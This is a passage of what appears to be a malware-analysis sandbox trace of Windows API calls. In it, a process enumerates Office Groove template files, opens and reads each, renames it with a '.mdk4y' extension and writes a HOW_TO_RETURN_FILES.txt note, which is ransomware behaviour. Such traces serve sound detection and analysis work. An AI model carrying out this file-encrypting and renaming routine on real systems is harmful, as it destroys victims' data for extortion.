"c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formspreviewtemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.497] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829172700000) returned 1 [0216.497] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x3a2, lpOverlapped=0x0) returned 1 [0216.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829172800000) returned 1 [0216.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829172800000) returned 1 [0216.498] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formspreviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPreviewTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formspreviewtemplate.html.mdk4y")) returned 1 [0216.499] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.499] AreFileApisANSI () returned 1 [0216.499] GetACP () returned 0x4e4 [0216.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsPrintTemplate.html", cchWideChar=23, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsPrintTemplate.htmlml", lpUsedDefaultChar=0x37dda8) returned 23 [0216.499] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsprinttemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829173000000) returned 1 [0216.500] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x262, lpOverlapped=0x0) returned 1 [0216.512] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829174200000) returned 1 [0216.512] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829174200000) returned 1 [0216.512] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsprinttemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsprinttemplate.html.mdk4y")) returned 1 [0216.513] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.513] AreFileApisANSI () returned 1 [0216.513] GetACP () returned 0x4e4 [0216.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsTemplates", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsTemplateslate.html", lpUsedDefaultChar=0x37dda8) returned 14 [0216.513] AreFileApisANSI () returned 1 [0216.513] GetACP () returned 0x4e4 [0216.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=97, lpWideCharStr=0x37db3c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\7Őh\x02Ȁ") returned 97 [0216.514] AreFileApisANSI () returned 1 [0216.514] GetACP () returned 0x4e4 [0216.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dd1c) returned 1 [0216.514] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.514] AreFileApisANSI () returned 1 [0216.514] GetACP () returned 0x4e4 [0216.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dd1c) returned 2 [0216.515] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.515] AreFileApisANSI () returned 1 [0216.515] GetACP () returned 0x4e4 [0216.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Customer Support.fdt", cchWideChar=20, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Customer Support.fdtr", lpUsedDefaultChar=0x37dd1c) returned 20 [0216.515] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\customer support.fdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.515] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829174700000) returned 1 [0216.517] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x2021e, lpOverlapped=0x0) returned 1 [0216.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829175600000) returned 1 [0216.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829175600000) returned 1 [0216.527] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\customer support.fdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\customer support.fdt.mdk4y")) returned 1 [0216.528] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.528] AreFileApisANSI () returned 1 [0216.528] GetACP () returned 0x4e4 [0216.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Hardware Tracker.fdt", cchWideChar=20, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Hardware Tracker.fdt", lpUsedDefaultChar=0x37dd1c) returned 20 [0216.529] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hardware tracker.fdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829175900000) returned 1 [0216.529] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x20b43, lpOverlapped=0x0) returned 1 [0216.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829177800000) returned 1 [0216.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829177800000) returned 1 [0216.550] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hardware tracker.fdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hardware tracker.fdt.mdk4y")) returned 1 [0216.551] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.551] AreFileApisANSI () returned 1 [0216.551] GetACP () returned 0x4e4 [0216.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Hiring Requisition - Customized.fdt", cchWideChar=35, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Hiring Requisition - Customized.fdt", lpUsedDefaultChar=0x37dd1c) returned 35 [0216.551] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition - customized.fdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829178200000) returned 1 [0216.552] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x24051, lpOverlapped=0x0) returned 1 [0216.554] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829178400000) returned 1 [0216.554] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829178400000) returned 1 [0216.555] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition - customized.fdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition - customized.fdt.mdk4y")) returned 1 [0216.556] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.556] AreFileApisANSI () returned 1 [0216.556] GetACP () returned 0x4e4 [0216.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Hiring Requisition.fdt", cchWideChar=22, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Hiring Requisition.fdtustomized.fdt", lpUsedDefaultChar=0x37dd1c) returned 22 [0216.556] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition.fdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829178700000) returned 1 [0216.557] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x248db, lpOverlapped=0x0) returned 1 [0216.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829179700000) returned 1 [0216.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829179700000) returned 1 [0216.568] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition.fdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition.fdt.mdk4y")) returned 1 [0216.570] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.570] AreFileApisANSI () returned 1 [0216.570] GetACP () returned 0x4e4 [0216.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POLICIES.FDT", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="POLICIES.FDTsition.fdt", lpUsedDefaultChar=0x37dd1c) returned 12 [0216.570] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\policies.fdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.572] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829180200000) returned 1 [0216.572] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x17d6d, lpOverlapped=0x0) returned 1 [0216.574] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829180400000) returned 1 [0216.574] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829180400000) returned 1 [0216.575] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\policies.fdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\policies.fdt.mdk4y")) returned 1 [0216.576] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.576] AreFileApisANSI () returned 1 [0216.576] GetACP () returned 0x4e4 [0216.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process Library.fdt", cchWideChar=19, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Process Library.fdtfdt", lpUsedDefaultChar=0x37dd1c) returned 19 [0216.576] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\process library.fdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.576] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829180600000) returned 1 [0216.576] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x16b33, lpOverlapped=0x0) returned 1 [0216.584] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829181400000) returned 1 [0216.584] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829181400000) returned 1 [0216.585] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\process library.fdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\process library.fdt.mdk4y")) returned 1 [0216.586] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.587] AreFileApisANSI () returned 1 [0216.587] GetACP () returned 0x4e4 [0216.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Status Report.fdt", cchWideChar=17, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Status Report.fdtdt", lpUsedDefaultChar=0x37dd1c) returned 17 [0216.587] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\status report.fdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.587] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829181700000) returned 1 [0216.587] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x18ead, lpOverlapped=0x0) returned 1 [0216.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829182400000) returned 1 [0216.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829182400000) returned 1 [0216.595] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\status report.fdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\status report.fdt.mdk4y")) returned 1 [0216.596] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.596] AreFileApisANSI () returned 1 [0216.596] GetACP () returned 0x4e4 [0216.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Track Issues.fdt", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Track Issues.fdtt", lpUsedDefaultChar=0x37dd1c) returned 16 [0216.596] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\track issues.fdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829182700000) returned 1 [0216.597] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x1e666, lpOverlapped=0x0) returned 1 [0216.599] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829182900000) returned 1 [0216.599] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829182900000) returned 1 [0216.601] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\track issues.fdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\track issues.fdt.mdk4y")) returned 1 [0216.602] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 0 [0216.602] FindClose (in: hFindFile=0x6ab410 | out: hFindFile=0x6ab410) returned 1 [0216.603] AreFileApisANSI () returned 1 [0216.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 121 [0216.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37da54, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0216.603] GetFileType (hFile=0x13c) returned 0x1 [0216.604] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.604] AreFileApisANSI () returned 1 [0216.604] GetACP () returned 0x4e4 [0216.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsVersion1Warning.htm", cchWideChar=24, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsVersion1Warning.html", lpUsedDefaultChar=0x37dda8) returned 24 [0216.604] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsversion1warning.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.619] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829184900000) returned 1 [0216.619] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x6fc, lpOverlapped=0x0) returned 1 [0216.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829185000000) returned 1 [0216.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829185000000) returned 1 [0216.620] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsversion1warning.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsVersion1Warning.htm.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsversion1warning.htm.mdk4y")) returned 1 [0216.621] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.621] AreFileApisANSI () returned 1 [0216.621] GetACP () returned 0x4e4 [0216.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsViewAttachmentIcons.jpg", cchWideChar=28, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsViewAttachmentIcons.jpg9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 28 [0216.622] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticons.jpg"), dwDesiredAccess=0xc0000000, 